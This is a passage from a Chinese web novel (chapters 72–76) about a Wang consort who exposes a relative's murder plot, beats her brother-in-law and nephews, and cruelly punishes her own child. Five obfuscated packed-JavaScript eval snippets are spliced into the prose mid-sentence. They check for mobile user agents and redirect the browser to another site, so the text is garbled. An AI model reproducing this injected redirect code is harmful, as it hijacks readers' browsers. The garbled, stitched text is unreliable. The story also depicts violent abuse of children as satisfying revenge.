此刻他将脸一板,厉声质问着,院中的空气似乎都为之一默。 柳汝兰慌得连磕头的力气都没有了,额头撑着地面,死死咬着牙关。 这要怎么办? “裴大人。” 萧子易这时候忽然出声,将众人的注意力吸引了过去。 “不知大人口中的伙计究竟是什么人?” 他顿了顿,表情似乎又变得有些为难。 “大人有所不知,静心居的下人们办事不得力,前段时间已经由王妃做主,全都遣出府去了,如今院中只有我们一家四口,实在不知道大人说的是谁,恐怕无法叫来问话。” 叶晚竹刚听第一句的时候,还以为萧子易是良心发现,抑或是为了避免惹火烧身,要保下柳汝兰。 等听到他这长篇大论才算明白过来。 这是又在祸水东引啊! 想暗示一切是她自导自演? 叶晚竹又笑了笑,这次看向了萧子易。 “这个简单,大哥想叫谁来问话,刘康还是金勇?” 萧子易的脸色立刻变了,柳汝兰更是猛烈地哆嗦了一下。 前者是金婶子的儿子,后者是娘家侄子! “大哥不说话,是都想听咯?”叶晚竹手一挥,“隐风,把人带过来!” 她都知道是谁在暗中行事了,岂能没有一点准备? 衙门最是讲证据的地方,叶晚竹当然要拿得出才行! 听着隐风转身而去的脚步声,柳汝兰绝望地趴在地上,已是心如死灰。 完了,一切都完了! 等到刘康和金勇前来,前者抖若筛糠,后者面如死灰。 隐风手里抓着一件衣裳,一角的破损正能对上被送到裴玉祁手中的那块布条。 证据确凿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474370|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哭天喊地的金婶子也跟着一道冲进院中。 “大人啊,青天大老爷,您可要开眼啊,都是大夫人让老奴一家这么干的,老奴也没办法啊!” 从被王妃的人抓走,又在柴房见到本该远远逃出京城的儿子和侄子那一刻,金婶子就知道要坏事了! 可她还是没想到,王妃竟然会请衙门的人来断案! **,偿命! 想到这四个字,金婶子哭喊得更加厉害了。 “是大夫人要报复王妃,是大夫人想对二房不利,是大夫人逼着我儿动手**的,都是她,都是她的错啊!” “胡说八道!你这刁奴!” 饶是感觉心已死,柳汝兰还是被金婶子的倒戈逼出了火气。 她冷笑着爬起身来,“分明是你狗仗人势,从前就借着王府和我的名义用铺子敛财,被发现后竟然还不知收敛,如今事发,又栽赃到我头上来!” 事已至此,她也不需对金婶子再有什么怜悯之心了! “裴大人!”柳汝兰哀哀地道,“蓄意**一事,民妇闻所未闻,也早已将金婶子赶出静心居,再不准她在身边伺候,金婶子如今做的事,与民妇没有一点儿关系,还请大人明鉴啊!” 金婶子离开静心居后,两人来往都是避着人的,没人能作证! 柳汝兰低着脑袋,眼底有窃喜一闪而过。 金婶子却大声冷笑,反手从怀里掏出一对银耳环! “这是大夫人让我拿去雇凶**的酬金,前段时间一直戴在大夫人耳朵上的,王府中定有人看见过,大夫人怎么说?” 一对轻飘飘的银耳环就想雇凶**,正经**还没自贱到这种地步,否则金婶子也不会让自己儿子动手了。 柳汝兰闻言下意识地伸手摸向自己的耳垂,这动作又被裴玉祁看了个正着。 她愣是生出了急智,“你这该死的刁奴,竟敢趁大房无人,溜进来偷东西!” 金婶子被哽得张口结舌,却很快又找到还击的话。 二人就这么对骂起来。 “好了,都给本官住口!” “全都带回大理寺,有你们说话的时候!” 第七十二章 父债子偿 柳汝兰和金婶子都不是什么文雅人,泼妇骂街并不好听,也透露不出更多线索,裴玉祁很快就沉声喝住了两人的对骂。 “还有这两个凶徒,”他又一指刘康和金勇,“一并带回去,仔细审!” 大理寺官兵闻言上前,分开将几人擒住。 柳汝兰方才的气势顿时泄了个无影无踪,烂泥一样瘫软在两个官差手中,绝望的眼四下乱扫。 她不要去大理寺啊! 那都是犯了罪的人才去的地方,被关进里面,她的名声就毁了! “老,老爷!”柳汝兰用干涸的声音朝着萧子易道,“救我啊老爷……” 纵观这院子里的人,也只有萧子易可能救她一命了! 再怎么互相埋怨,他们也是夫妻啊! 柳汝兰满眼都是祈求,又带着隐秘的威胁。 萧子易私下的打算和勾当,对外人藏得再好,她也知道! 要是萧子易当真敢不救她…… “不做亏心事,就不怕鬼敲门。” 萧子易定定看着柳汝兰,一字一句。 “柳氏,你老实听从裴大人的安排,如实交代一切,我相信裴大人很快就能还你清白。” “到时候,我和儿子们一起去接你回府。” 萧子易眼中带着深意,当着这么多人,他只能把话说到这儿了。 有金婶子在,便是绝佳的泼脏水对象,只要柳汝兰把一切都推到金婶子身上,他这边再想想办法,事情也能圆满度过。 只要柳汝兰不要发疯,把他也牵连进去。 读懂了萧子易的意思,柳汝兰脸色惨白,摇摇欲坠地和他对望。 她还能出来。 只是又要背一次恶名! 萧子易神情温和而无奈。 “去吧,态度好些,莫要再被那恶奴挑唆着再犯蠢了。” 说到最后两个字时,仍是有难以遏制的刻薄从他眼底泄了出来。 说来说去,还不是柳汝兰这个蠢货自找的! 害人都害不明白,还能被抓住把柄! 到底是性命重要,片刻后,柳汝兰流着眼泪点了点头,凄凄切切地和丈夫还有两个儿子告别,顺从地跟上了大理寺官差的脚步。 金婶子三人嫌疑更大,早就被堵住嘴强行带走。 随着官差依次撤出王府,裴玉祁也朝叶晚竹拱手告别,前院终于重新变得安静下来。 看着眼前的景象,萧子景的神情渐渐变得复杂。 好端端的,金婶子还不至于要对什么人痛下**。 大嫂竟然还在打着那几间铺子的主意? 他当初将铺子交给大嫂打理,是因为信任大房,可不是让他们为所欲为,私吞王府财产的! 想到银子,萧子景的呼吸都变得沉重起来。 “大哥。” 叶晚竹这时候却朝着萧子易看了过去。 “大嫂这个筏子,你还打算用几次?” 萧子易本就皱着眉头,闻言表情又难看几分。 “我不知道弟妹在说什么。” 他撂下一句话就要转身离开,叶晚竹却不肯放过他。 “大嫂贪去的银子,难道都是她一个人花用了?大哥还真是心狠,就这么把自己的夫人推出去顶罪。” 萧子易脚下生根般站在原地,动弹不得,只能神情僵硬地看着叶晚竹朝自己走了过来。 先前被扇耳光的回忆忽然涌上心头,萧子易浑身一颤,对上了叶晚竹的眼睛。 熟悉的冷光一闪而过,还没等他有所反应,火辣辣的剧痛已经漫上脸颊! “大哥,我是不是提醒过你,不要对不属于自己的东西动手动脚?” “既然你不听,那就别怪弟妹下手无情。” “要是再有下一次,大哥还打算让谁顶罪?” 叶晚竹一边问话,一边又是十几个耳光清脆地扇上了萧子易的脸。 柳汝兰是个丧心病狂的,**的办法都想得出来,萧子易就更不是什么好东西! “爹!” “放开我爹!” 亲眼见着父亲挨打,萧卓萧然齐齐尖叫着朝叶晚竹扑了上来。 叶晚竹冷笑一声,手上动作没停,一脚一个,将两人踢翻在地! “住,住手!” 已经被打得睁不开眼的萧子易艰难地怒吼起来。 “你说住手就住手?凭什么?”叶晚竹反手又是一个更加响亮的耳光。 打得萧子易闭了嘴,她快走两步,一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474371|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拎起已经重新站起身来的萧卓。 萧卓还从未亲眼见过王妃小婶如此疯魔的模样,先前在后院里简直是大巫见小巫,他拼命挣扎,却还是敌不过叶晚竹的力气。 “**——” 几声闷响再次传来,萧卓的屁股也跟着火烧火燎地疼。 “叶晚竹!你,你要干什么!放开卓儿!” 萧子易被隐风牢牢按在原地,只能气得跳脚。 那是他的儿子,长这么大,他都没动过一指头! 叶晚竹下手仍是毫不留情,风卷残云般在萧卓屁股上狠狠打了十五下。 萧卓起先还能忍住,后来也渐渐嚎哭出声。 太疼了! 在哭声和骂声中,叶晚竹收了手,将萧卓丢到一边,又走向一脸恐惧,只会坐在地上瑟瑟发抖的萧然。 “叶晚竹!” 萧子易的一双眼瞪得血红,“你给我住手!” “**!”回应他的是继续响起,毫不犹豫的巴掌声。 萧然年纪小,叶晚竹只打了他十下,饶是这般,结束的时候萧然也哭得上气不接下气。 将他也丢开,叶晚竹这才看向已经气得浑身瘫软的萧子易。 “大哥真以为我不知道,你想尽办法在二房挑拨离间,拼命生事,制造空子给自己钻?” 凑近萧子易几分,叶晚竹忽然又笑了起来。 “你让人跟踪阮姨娘的人,想栽赃她,我乐得看戏,可要把手伸到我,还有我的人身上……这,就是下场。” “被我抓到证据,咱们公事公办;没抓到证据的,那就按我的心意处理!” “今天我想父债子还,下一次我是怎么想的,可就不一定了。” 每说一句,叶晚竹面上的笑意就更深一分。 看着萧子易惊怒而又不知所措的模样,她忍不住又拍了拍他已经高高红肿的面颊。 “大哥,下次再出手,你可要先想好,要选哪条路?” 无论什么,她都会陪着萧子易玩的。 只要他承担得起后果。 轻笑一声,叶晚竹头也不回地离开了。 萧子易浑身一松,下意识地顺着叶晚竹的身影看过去,便和目光沉沉的萧子景对上了视线。 第七十三章 警告你,明天就滚出去! 脸还疼着,胸口也气得快要炸开,萧子易的第一反应是想张口训斥。 这就是萧子景娶回来的好王妃! 可他却及时住了口。 因为萧子景此刻的表情十分阴沉,是他从来没看到过的。 萧子易心口一沉。 萧子景这会儿正在看着自己的大哥,任由叶晚竹一语不发地从自己面前走过,也没有出声阻拦。 叶晚竹刚才那话是什么意思? 大哥在挑拨二房的关系? 还让人跟踪莹莹? 这都是什么乱七八糟的! 可叶晚竹没有必要撒谎。 有些事情是不能多想的,特别是已经有所怀疑的时候。 再者说,萧子易给他前前后后已经出了不少主意,但仔细一回想,到了真正要出手的时候,却总不见他的身影…… 萧子景看着萧子易的眼神便越发陌生起来。 “二弟。” 被萧子景的模样看得心慌,萧子易心跳加快,开口想说些什么,却又不知道从何说起。 毕竟萧子景从小就相信他,算计这个弟弟,萧子易从不费吹灰之力。 “大哥和卓儿然儿都受了伤,还是先回去休息为好。” 萧子景这时候却开了口,声音平静得没有一丝波澜。 “冬生,你送大哥他们回去,静心居没有下人,你留在那边伺候几天!” 不着痕迹地给冬生递了个眼神,萧子景没再看向欲言又止的萧子易,自己转身朝院中走去。 他要去弄清楚,究竟都发生了什么! —— 猜到萧家兄弟之间定然会生出龃龉,叶晚竹乐得等着看戏。 将此事暂时放在一旁,又回到潇湘院看了看仍在昏睡的小花,天色也暗了下去。 困意袭上,叶晚竹早早回屋休息。 这几天本来就忙,小花的事又来得突然,叶晚竹撑了整整一天,躺在床上时感到一阵熟悉的眩晕。 没怎么费力,她就陷入了沉沉的昏睡之中。 知道王妃已经休息,潇湘院中很快也变得十分安静。 丫鬟嬷嬷们放轻脚步走路,不过本来夜里也没多少活计,等给小花喂过最后一次药,众人便悄悄回到各自的屋中去了。 初夏时节,微风吹过,将小厨房里一缕残存的药香吹到了萧延的鼻子里。 萧延抱着膝盖蹲在潇湘院的后墙下。 他已经等了大半个时辰,腿都蹲麻了,终于等到院子里彻底没了声音。 犹不放心地将耳朵贴在墙上又确认了一番,见当真没有半点动静,萧延这才深吸一口气,蹲下身,对着墙角某处挖了起来。 这儿有个狗洞,虽然被填过,可墙面并没有一道修缮。 只要他再挖开,就能钻洞进潇湘院去! 萧延撅着屁股吭哧吭哧地刨土,累得汗如雨下,却咬住衣角,不敢发出一点儿喘息的声音。 他向来娇生惯养,从没做过这样的力气活,没挖几下指甲就断了好几个。 胳膊也又酸又困,只想放下,可萧延却始终没有停下动作。 他太想知道那个野种到底是什么人了! 竟然能被娘亲带回潇湘院,还这样严密地保护起来! 娘亲这样的关照,萧延并不陌生,他自小便是在这样的关照下长大的。 虽然他觉得这样被管着很烦,但想到别人也能得到娘亲的照顾,萧延挖土的力气都大了几分。 只有他是娘亲的孩子! 别人都别想来抢! 说来奇怪,萧延从前最讨厌,最恨的人就是娘亲,虽然她对自己好,对父王好,把一切都给了他们,萧延还是讨厌她。 哭哭啼啼,总给萧家丢脸! 可等到现在,王府上下都因为叶晚竹抬不起头,沦为京城笑柄,叶晚竹在萧延眼中的形象却不一样起来。 想打就打,想骂就骂,娘亲这样做,好像也挺痛快的…… 至少不用饿肚子,也不用害怕被人欺负。 可娘亲做了这么多过分的事,他应该更讨厌她才对啊? 这是怎么回事? 萧延小小的草包脑袋里根本腾不出放聪明才智的地方,问题怎么也想不通,倒是把一人厚的围墙挖通了。 他兴奋地跳起来,又连忙弯腰,鬼鬼祟祟地打量着周围,而后奋力从狗洞里钻了进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480579|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院里仍是那么安静,如萧延希望的那样,空无一人。 他尽力不发出一点儿声音,沿着院墙跑到暗处,扒在假山后面观察情况。 毕竟是出生就住着的地方,萧延很快便发现了自己要去的是哪间屋子。 拍了拍身上的土,他蹑手蹑脚走进充满药味的客房,关上房门后挺直了腰杆。 屋里同样空无一人,没有下人守夜,萧延大步走到床边,一把将床帐掀开! “!”他对上了一双黑白分明的眼睛! 这野种怎么醒着! 本能地倒吸一口冷气,萧延和床上的小姑娘大眼瞪小眼了片刻,才佯装镇定地昂起了下巴。 “不许喊,否则,我就要你好看!” 压低了声音,萧延威胁地瞪大了双眼。 小花斜晲着他正不停打着哆嗦的腿,眨了眨眼,“你是王妃的儿子?你们长得很像。” 就是气质大不相同。 还有,王府小世子怎么也跟没吃过饱饭似的? “不许你提我娘!” 萧延顿时炸了**,伸出手恶狠狠地指着小花的脑袋。 “你既然知道本世子的身份,那就识相点,赶紧主动离开王府,滚回你那个不要脸的爹身边去,否则——”他哼哼两声,“我让我父王整死你们!” 床上这小孩一看就是穷苦孩子,萧延放狠话放得十分没有心理负担。 “听见了没有?我给你一天时间,明天你要是被我发现还呆在潇湘院——” 他叉着腰,气势越发嚣张,床上的小姑娘害怕得尽力把自己缩成一团。 “我知道了,知道了,我明天白天就去跟王妃请辞,小世子千万不要打我啊!” 捏着嗓子小声说话,小花低着脑袋,眼中露出一点恶作剧的狡黠。 要是这小世子真这么厉害,还用得着半夜才偷偷来威胁她? 看她明天怎么跟王妃告状! 不听话的小孩,屁股是要被打烂的! “什么?” 萧延却又皱起眉头。 “不行,你去找我娘,她肯定会发现的!” “延儿说的很对嘛。” 第七十四章 钻进来的?那就给我钻出去! 叶晚竹的声音猝不及防地在屋中响起,萧延猛地一哽,被口水卡住,惊天动地地咳嗽起来。 屋中有光亮起,书画举着烛台,依次将灯盏点亮。 叶晚竹身上还穿着中衣,只披了件厚实些的外袍,面无表情地看着萧延。 被抓个正着,萧延俨然已经傻了眼,一对茫然的眼珠子转来转去,不知道该看什么地方。 叶晚竹的脸色算不上好。 隐风隐川自从到她身边就轮流负责值夜,这二人都是眼观六路,耳听八方。 今夜她刚睡下不久,便被书画又叫了起来。 隐川发现了正在墙下刨狗洞的萧延,问她如何是好。 于是叶晚竹便亲眼看着她的好儿子是怎么徒手挖通狗洞,钻进潇湘院,又是怎么摸到小花屋里来威胁她的。 “好啊,好啊。”叶晚竹微笑起来,“真不愧是萧子景的好儿子。” 偷鸡摸狗,无师自通! “娘,娘亲……” 萧延手足无措地站着,仍是不知道要说什么。 娘亲怎么会出现在这儿呢? 刚才自己说的话,她都听见了? 萧延忍不住打了个哆嗦,望着叶晚竹,浑身都开始哆嗦起来。 “延儿啊,来,过来。”叶晚竹却半弯下腰,朝他招了招手,“到这边来。” 她的语气似乎忽然间回到了从前,招手的动作也是往日惯用的。 萧延先是一愣,而后难以置信地朝着叶晚竹走了过去。 “娘亲,娘亲!” 娘亲终于原谅他了,是不是? 他马上就可以让这个野种滚蛋了! 渐渐咧开嘴,萧延越走越快,甚至张开双臂,做出了一个讨要拥抱的动作。 他很久没被娘亲抱着了—— “嗷嗷嗷!” 萧延没看见叶晚竹眼底的那抹嫌恶,而叶晚竹耐着性子等他走到自己面前,一把拧住了他的耳朵! “跟我过来!” 拎着萧延的耳朵,叶晚竹直起身,顿时又恢复了冷淡逼人的模样。 没费多少力气,她便带着萧延来到院中,一把将他掼倒在地! “连挖狗洞都学会了,延儿,你可真有本事。” 叶晚竹站定的地方就在狗洞旁边,她轻轻踢了一脚松散的泥土,轻飘飘地说着话。 “我可不记得教过你,做事要这么不择手段。” 萧延捂着发烫的耳朵,情绪大起大落之下,又开始抽泣。 “娘亲,延儿错了,延儿错了!” “哦?延儿又知错了?” 叶晚竹垂下眼皮,“说说看,你错哪儿了?” “延儿不该钻狗洞,”萧延挂着鼻涕哽咽,“也不该惹娘亲生气,延儿保证再也不对妹妹说那样的话,以后,以后延儿和妹妹就是一家人!” 只要能让他先回潇湘院吃饱穿暖,他现在什么错都能认! 让他管外面的野男人叫爹都行! “延儿还,还不该和父王一起惹娘亲生气……”萧延继续搜肠刮肚地嘟囔着。 “错了。” 看着他状似可怜巴巴,实则眼珠乱转的模样,叶晚竹摇了摇头。 萧延顿时止住话头,不解地朝她看来。 叶晚竹勾起嘴角,“你最大的错,就是还在管我叫娘亲。” 一边不想认她,一边又要她承担娘亲的责任? 萧延做的这是春秋大梦! “我说过,你叫一次,我打一次,是不是啊延儿?” 叶晚竹俯身抬手,摸上萧延瘦瘦巴巴的脸颊,柔声问着。 萧延的脸立刻吓得一片冰凉。 他喊了多少声娘亲? 根本数不清! “不想挨打?”看着萧延哆哆嗦嗦的模样,叶晚竹挑了挑眉。 萧延立刻不住地点起头来,眼中希望闪现—— “那就从哪儿来,从哪儿回去吧。” 手腕一转,叶晚竹掐住萧延的下巴,让他正面对着那个狗洞。 萧延难以置信地瞪大了眼睛! 与方才不同,这会儿院里点着灯,站着人,全都在看着自己呢! 他要是这么爬出去,岂不是要丢**了! 可不爬就要挨打,萧延吸吸鼻子,顺从地低下头。 “慢着,我说让你就这么爬了吗?”叶晚竹手上用力,止住他的动作。 “既然是狗洞,那就只有狗才能钻,我记得延儿学小狗学的不错,对吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480580|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蹲在萧延身旁,叶晚竹眼底又闪烁起让人胆寒的冷光。 她不知道,也不想管萧延那野种的言论是由何而来,但嘴巴恶毒成这样,显然不应该再当人了。 “小狗钻洞,一般用的是嘴筒子,延儿,开始吧。” 说完这句话,叶晚竹才放开手。 萧延则是彻底愣住,缓缓转过头,悲痛欲绝地看着眼前的人。 这还是疼爱他入骨的娘亲吗? 早就不是了。 可…… “你怎么这么恶毒!你真让人恶心!” 再也承受不住,萧延从地上一跃而起,破口大骂。 “脏女人,贱女人,养野男人的孩子,你不要脸,我,我讨厌你,看到你就想吐!” “小少爷住口!”书画忍不住出声,“你,你怎么能这样说王妃,王妃她——” “呸!”萧延朝她吐口水,“贱婢,滚开!” 叶晚竹静静地看着她的儿子,她唯一的骨血。 只是一点连捕风追影也算不上的臆想,他还是能说出和前世差不多的话。 掺上萧家的血,看来真的就这么脏。 叶晚竹的神情有一瞬的悲哀。 劣种是养不好的。 萧延还在骂着,他年纪小,说不出太长的句子,可那脱口而出的词语却一个比一个下流低劣。 就连在东厂待惯了的隐川都忍不住皱了皱眉。 这孩子都是从什么地方学来的污言秽语。 骂声激烈,潇湘院的屋中陆陆续续亮起了灯光,下人们赶紧穿上衣服,小跑着出来看这是什么情况。 谁不想活了,大半夜的惊扰王妃睡觉? 等看到院中的场景,众人又表情各异地噤了声。 这个时候,潇湘院灯火通明,被十几双眼睛看着,萧延终于住了口。 理智也跟着回笼,他明显又害怕起来,却还是梗着脖子看向叶晚竹。 分明是娘亲要养野种,所以才不要他了。 他没错! 叶晚竹此刻已经恢复了方才的冷静。 “骂完了?”她伸手一指,“那就给我钻!” “今天你拱不出去,我就用你这满嘴喷粪的小畜生填这面破墙。” 第七十五章 等父王给你报仇! 萧延最后还是又钻进了那个他亲手刨出来的狗洞。 被泥土和石头包围,萧延一边爬一边用力攥紧了小小的拳头,眼角也渗出了泪水。 他可是王府的世子,娘亲竟然如此折辱他! 潇湘院的院墙并不算厚,萧延却感到自己仿佛钻了很长时间,直到一口气快要喘不过来,才重见天日。 睁开双眼,他便又对上了叶晚竹沉沉的目光。 叶晚竹已经绕到院外,蹲下身子,看着萧延满头是土的狼狈模样。 “延儿,怎么样,钻狗洞好玩吗?”她伸手轻轻将萧延头上的土块拨开。 萧延猛地打了个哆嗦,感到放在自己头顶的手好像冰块一样,没有半分温度。 他下意识地摆头将叶晚竹的手甩开。 下一刻,叶晚竹拎着他的衣领,将人狠狠丢到离院墙几步开外的地方。 “滚吧,”叶晚竹的声音更冷,“和萧子景一样人嫌狗憎,少出现在我眼前。” 她静静看着踉跄站起身子的萧延。 若是能再重来一次,她绝对不会选择再生下这个孩子。 另一边,听叶晚竹提到萧子景,萧延小小的身子又哆嗦起来。 “你敢这样欺负我,我要告诉父王,让他杀了你!” 这一晚上受到的刺激太大,萧延这会儿有些控制不住自己的嘴巴。 他恶狠狠地看着叶晚竹。 “你以为我真的想让你当我娘亲吗?我怎么会有你这样恶心的娘——” 叶晚竹飞起一脚,将地上的石子猛地砸在萧延嘴上。 鲜血流出,萧延捂着嘴巴,疼得蹲了下去。 “哦?延儿好本事啊,能让王爷**放火?”叶晚竹忽然浮起一个笑容。 “那我可就等着你父王来杀咯。” 她语气戏谑,仿佛讨论的不是自己的性命一般。 萧子景想杀她? 还是先掂量掂量自己到底还有多大本事为好。 “延儿,要不要和我打赌?”叶晚竹又看了过去,“你现在就去和萧子景说,他若是答应你,我就……给你十两银子。” “但他若是不答应你,我就从你身上取点东西,怎么样?” 一边说着话,叶晚竹一边上下打量起萧延来。 “虽然你不想是我生的,可你身上的每一根骨头,每一块肉,都是从我身上撕下来的,为了生你,我真是费去了半条命。” “你不想要这些好东西,那就还给我。” 萧延激灵灵地打了个寒战。 叶晚竹看他的眼神又变了! 从前像是陌生人,可现在,现在却好像在看一块砧板上的肉! 娘亲目光所及之处,好像在看着要怎么把他大卸八块! “延儿,赌不赌?十两银子哦。” 叶晚竹还在问着,充满诱哄,萧延却双腿一软,扑通一声摔倒在地! 他嗓子发紧,好像被掐住一样,发不出声音,只能手脚并用地爬起来,没命地朝黑暗中狂奔而去! 太可怕了! 比起十两银子,他更想要命! 目送着萧延慌不择路逃跑的背影,叶晚竹的神情渐渐松弛下来,眼底的冷意却不曾收敛。 她还以为萧延终于学乖了,知道不要来招惹她。 没想到,原来是在妄想着她会原谅他? 冷笑一声,叶晚竹反身朝潇湘院而去。 被萧延惊扰,院中的灯火这会儿还亮着大半,书画听见动静,从小花屋中快步走了出来。 “王妃,小花说想见您。” 叶晚竹本来也要去看看小花,脚下步伐未停,朝着客房而去。 “刚才他有没有伤到你?” 小花依旧躺在床上,气色看上去又好了些,听见叶晚竹的问话,连忙转头看了过来。 她摇摇头,眼神带着犹豫。 “王妃……”小花开口也显得吞吞吐吐,“我给王妃添麻烦了……” 夜里安静,萧延扯着嗓子又哭又喊,说的话全都落到了小花耳中。 她不过是个小乞丐,而这小孩再讨厌,也是王府的小世子,王妃的亲生儿子。 若是因为她闹出这么大的误会…… 小花眉头紧皱,“明天我就走!” 只是养伤,她回家也能养! 王妃对她这么好,她怎么能这样让王妃烦心—— 伤势好了不少,人也有了力气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484617|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小花心中所想便又清清楚楚地浮现在了面上。 叶晚竹看着她变幻个不停地脸色,忍不住笑了笑。 “不用想这么多。” 她按住小花的肩膀,微微用力,将人从思虑中唤醒过来。 “这些事不是因为你,倒是你受伤与我有关,你就这么走了,我不放心。” “你就继续在院里住着,有什么话,等养好伤再说。” 萧延的事情在外人看来本就是一团乱麻,小花只是个小孩,更是理解不了。 叶晚竹不欲多说,当务之急,还是要让小花先恢复健康才好。 “睡吧,”她弯腰替小花掖了掖被角,“他不会再来了。” 叶晚竹态度坚决,小花便也打消念头,安安稳稳地陷入了沉睡之中。 另一边,萧延哭哭啼啼,一路在黑暗的王府中奔跑,直到被冬生拦住,这才停下脚步。 “小少爷,您这是去哪儿了?这一身土……您摔跤了?” 萧延从观竹苑忽然消失,吓坏了一众丫鬟小厮,慌忙报到萧子景耳中,他又忙让下人寻找。 冬生刚出来没多久就和萧延撞了个正着,看他一身狼狈,立刻瞪大了双眼。 萧延哭哭啼啼地扯住他的衣袖,“我,我要见父王!” 半柱香后,萧子景一身不悦地坐在默言阁的屋中,听着萧延前言不搭后语的讲述,一张脸黑得像锅底。 “放肆,放肆!” 他狠狠一巴掌拍向桌面! “这个**,竟然嚣张至此!” 为了一个野种,竟然这样折辱延儿! 萧子景这会儿已经完全认定,叶晚竹带回府里的一定就是她与人珠胎暗结的成果! 否则,她怎么可能把那孩子保护得这样好? “延儿,你说那是个女孩儿?长什么样子,多大了?”萧子景又攥起了拳头。 萧延抹着眼泪说着话,末了又仰起头。 “父王,娘亲一点都不好,延儿再也不想让她当我的娘亲了,求父王想想办法吧!” “延儿放心。” 不知道想到了什么,萧子景忽然勾起一抹狠戾的微笑。 “等着父王给你报仇!” 第七十六章 景平王妃在哪? 默言阁里的对话叶晚竹毫不知情,赶走萧延后,她又投入到了蕴秀阁的生意之中。 选了个良辰吉日,修缮一新的蕴秀阁顺利开了张。 此时距离那些流言蜚语的风靡已经过去了一段时间,曼娘又精心准备了不少活动和优惠,蕴秀阁中人来人往,还算热闹。 除此之外,与叶晚竹先前相谈甚欢的那几位夫人也先后前来捧场。 有叶晚竹的指点,几位夫人都试着挺直了腰杆,还真获得了意想不到的效果。 达官贵人们大多讲究门当户对,这些夫人们家中与丈夫大多势均力敌,只是从前习惯了忍让,只能一退再退。 如今夫人们亮出自己的底线,各家的夫君也不好真将事情做绝,一个两个都收敛不少。 夫人们日子过得舒心,自然要来捧叶晚竹的场。 这位景平王妃的话还真没错! 蕴秀阁又是胭脂水粉的铺子,曼娘得了叶晚竹的指点,舌灿莲花,更是将夫人们哄得心花怒放。 各家夫君们眼下不能在家里当大王,嘴上不说,心里一定也不怎么舒坦。 若是夫人们继续留在屋里,难免针尖对麦芒,时间一长,怕是要生出更多矛盾。 还不如到外面来小聚一番,让双方都清净清净。 一时间,蕴秀阁前后两座院子都红火热闹得很。 叶晚竹虽然几日留在铺子里,但并不露面,只等看着蕴秀阁的生意走上正轨,她便能放心让伙计们运营。 “小姐!小姐!” 一日晌午刚过,跟在曼娘身边的小丫头荷叶却一头冲进后院屋中。 夏日气息渐浓,午后也越发让人昏昏欲睡,叶晚竹刚醒来没多久,看见荷叶这幅模样,顿时打起精神。 “怎么了——” “景平王妃可在?” 一句话还没问完,院中忽然响起爆喝。 与此同时,阵阵混乱声也从前院方向传了过来。 听着来者不善,叶晚竹眉头一皱,起身大步朝外走去。 “何人在此放肆!”她厉声喝问。 “放肆?” 方才那个粗犷的声音再次响起,叶晚竹定睛一看,一个五大三粗的黑脸汉子,正气势汹汹地站在院中。 他身边带着几个家丁模样的手下,正一齐朝她看来。 “景平王妃,我倒是要问问你,你还要怎么放肆?” 黑脸汉子的吼声雄浑有力。 “梁家的家务事你也要插手,莫非以为本官怕你不成?” “你是哪位大人?二话不说上来就喊,恕奴婢直言,不会是假冒充数,想故意**的吧?” 书画从一旁钻了出来,灵活的眼睛上下将这黑脸汉子打量了一番,抱起双臂,语气十分怀疑。 “敢在王妃面前大呼小叫,小心你的舌头!” 这人长得就不顺眼! “你——” 黑脸汉子怒瞪过去。 “大人的确还是先介绍一下自己比较好。” 